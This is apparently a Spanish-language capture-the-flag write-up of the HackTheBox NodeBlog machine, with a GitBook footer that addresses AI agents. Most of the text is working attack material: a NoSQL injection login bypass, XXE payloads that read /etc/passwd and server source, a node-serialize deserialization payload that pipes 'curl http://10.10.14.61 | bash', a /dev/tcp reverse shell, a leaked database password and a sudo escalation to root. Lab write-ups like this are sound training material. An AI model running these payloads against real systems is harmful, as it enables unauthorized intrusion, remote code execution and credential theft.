> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/nodeblog-hackthebox-writeup.md).

# Resolución de HackTheBox NodeBlog

{% embed url="<https://app.hackthebox.com/machines/NodeBlog>" %}

{% hint style="warning" %}
**Habilidades:**

* Inyección NoSQL (bypass de autenticación)
* Lectura de archivo XXE
* Ataque de deserialización de NodeJS (abuso de IIFE)
* Enumeración de la base de datos Mongo
  {% endhint %}

## Reconocimiento

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/c12f94419fa93d62da1dd797f67bf0317cc05667" alt=""><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.139
```

<figure><img src="/files/0960741e8f2b50175505ae7a4ae44a78cb8fca02" alt=""><figcaption></figcaption></figure>

Escaneo de versión de puertos con Nmap 22.5000

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p22,5000 10.10.11.139 -oN targeted
```

<figure><img src="/files/e232c6ae4757b7be6a439cc598c30f60f4d4e0a7" alt=""><figcaption></figcaption></figure>

### Análisis del puerto 5000 - Aplicación NodeJS

<figure><img src="/files/0e5655a900194c6b21e2267f2a4399b3aa98f126" alt=""><figcaption></figcaption></figure>

* Se descubre un panel de administración.
* El `admin` el usuario es válido.

<figure><img src="/files/0d27ee419eda29d207f42fd6f340779e3bf95fe4" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad de inyección NoSQL (bypass de autenticación)

Interceptando la solicitud con Burp Suite.

<figure><img src="/files/f68274ce3a46e1f00ce864f4c03edfd24e590d52" alt=""><figcaption></figcaption></figure>

Pruebe cargas útiles de inyección clásicas:

```bash
username=admin&password[$ne]=toto
```

Esto no funciona.

Conviértalo a JSON y cambie el `Content-Type` a `application/json`:

```sql
{
  "user": "admin",
  "password": { "$ne": null }
}
```

Resultado: ¡Autenticación exitosa!

<figure><img src="/files/dd95b841cdd764dc40207ad366c3643f8fc5d462" alt=""><figcaption></figcaption></figure>

## Explotación de la vulnerabilidad de inyección XXE

<figure><img src="/files/97ded002036547030f29192d2dcf00da7a4bb7bb" alt=""><figcaption></figcaption></figure>

Carga de un archivo TXT: rechazada, solo se aceptan archivos XML.

```
Hola, esto es una prueba
```

<figure><img src="/files/f906b36d4c9773b90e407bc04e5399c5cd98915d" alt=""><figcaption></figcaption></figure>

Formato requerido :

```xml
<post>
    <title>Publicación de ejemplo</title>
    <description>Descripción de ejemplo</description>
    <markdown>Markdown de ejemplo</markdown>
</post>
```

<figure><img src="/files/10d6f4cefd45523380a90f658a6d3f616c188c92" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/139bff45222767a7e23f14dabdb68ac4f150b646" alt=""><figcaption></figcaption></figure>

Envío de un archivo XML que contiene una entidad externa para leer `/etc/passwd`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<post>
    <title>Publicación de ejemplo</title>
    <description>Descripción de ejemplo</description>
    <markdown>&xxe;</markdown>
</post>
```

Resultado: El contenido de `/etc/passwd` se muestran.

<figure><img src="/files/cab3c5b08239ff93838d9859693d0bed332a0fff" alt=""><figcaption></figcaption></figure>

* Descubrimiento de un usuario `admin`.

<figure><img src="/files/a99597db9a3bb75c0c278c809e88a1e19dad90d5" alt=""><figcaption></figcaption></figure>

Inyección para leer `/opt/blog/server.js` y identificar credenciales almacenadas.

<figure><img src="/files/7bbb6ded5945366533ca3e3a5327eea1d1d3411a" alt=""><figcaption></figcaption></figure>

```bash
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///opt/blog/server.js" >]>
<post>
    <title>Publicación de ejemplo</title>
    <description>Descripción de ejemplo</description>
    <markdown>&xxe;</markdown>
</post>
```

<figure><img src="/files/026cd5a41dc773f60a170eb6d0834f0570c74ac1" alt=""><figcaption></figcaption></figure>

## Aprovechando la deserialización de NodeJS

* Se descubrió una función que deserializa las cookies de sesión.

<div data-full-width="true"><figure><img src="/files/0c9afa796afb63e1166badd8ced973079eb87c56" alt=""><figcaption></figcaption></figure></div>

Creando una carga útil:

{% code overflow="wrap" %}

```javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ping -c 1 10.10.14.61', function(error, stdout, stderr) { console.log(stdout) }); }()"}
```

{% endcode %}

Escuchando tráfico ICMP con:

```bash
tcpdump -i tun0 icmp -n
```

* Codificación URL:

<figure><img src="/files/5be2dd52df94bbd6a1496dbfaff0acfabc787d53" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%70%69%6e%67%20%2d%63%20%31%20%31%30%2e%31%30%2e%31%34%2e%32%38%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d
```

{% endcode %}

Construcción de un RCE mediante codificación URL e inyección en cookies.

<figure><img src="/files/5c888ff3d76fe31768149762d8c2bc0729c05327" alt=""><figcaption></figcaption></figure>

```bash
tcpdump -i tun0 icmp -n
```

<figure><img src="/files/5b3fa73681a8b51970bbffae9feee8903d5b528a" alt=""><figcaption></figcaption></figure>

### RCE - Vulnerabilidad de deserialización (NodeJS)

Creando un `index.html` script de shell inversa:

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.61/443 0>&1
```

Iniciando un servidor HTTP:

```bash
python3 -m http.server 80
```

Escuchando:

```bash
nc -nlvp 443
```

#### Enviando la carga útil :

{% code overflow="wrap" %}

```javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://10.10.14.61 | bash', function(error, stdout, stderr) { console.log(stdout) }); }()"}
```

{% endcode %}

* Codificación URL:

{% code overflow="wrap" %}

```
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%34%2e%36%31%20%7c%20%62%61%73%68%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d
```

{% endcode %}

Resultado: Se obtuvo acceso a la shell.

<figure><img src="/files/284f73a4ddf0ba8b9f51cc1abea85696a328420f" alt=""><figcaption></figcaption></figure>

### Bandera user.txt :)

<figure><img src="/files/53c770c4ad057e070272eaf0073eefecf3815206" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de privilegios

### Enumeración de la base de datos Mongo

<figure><img src="/files/b7ea6267f76de7922d6b689c0c2df8f7f162a399" alt=""><figcaption></figcaption></figure>

Conexión a la base de datos MongoDB (puerto 27017 abierto):

```bash
mongo
show dbs
use blog
show tables
db.users.find()
```

<figure><img src="/files/a7c49a9bf82e93edead599408678da6b5931259b" alt="" width="563"><figcaption></figcaption></figure>

* usuario: admin
* contraseña : IppsecSaysPleaseSubscribe

<figure><img src="/files/47a9e938f6cd887068408d77d8f5ad1849b2e29a" alt=""><figcaption></figcaption></figure>

### Sudo (ALL:ALL)

Comprobando privilegios sudo:

```bash
sudo -l
```

Resultado: el usuario admin puede ejecutar `sudo su` sin contraseña.

<figure><img src="/files/d45f323f7b616d5fa51b50ce8fd992496874ed03" alt=""><figcaption></figcaption></figure>

Escalada a root :

```bash
sudo su
```

<figure><img src="/files/9fec0d5f423660b60918373fb3e00045e5b125ed" alt="" width="563"><figcaption></figcaption></figure>

### Bandera root.txt :)

<figure><img src="/files/8e0395ac552164758074394be5279a9cb8503183" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/8bdd9992b180a3b89e151deaf5e332d390e1dc98" alt="" width="338"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/nodeblog-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
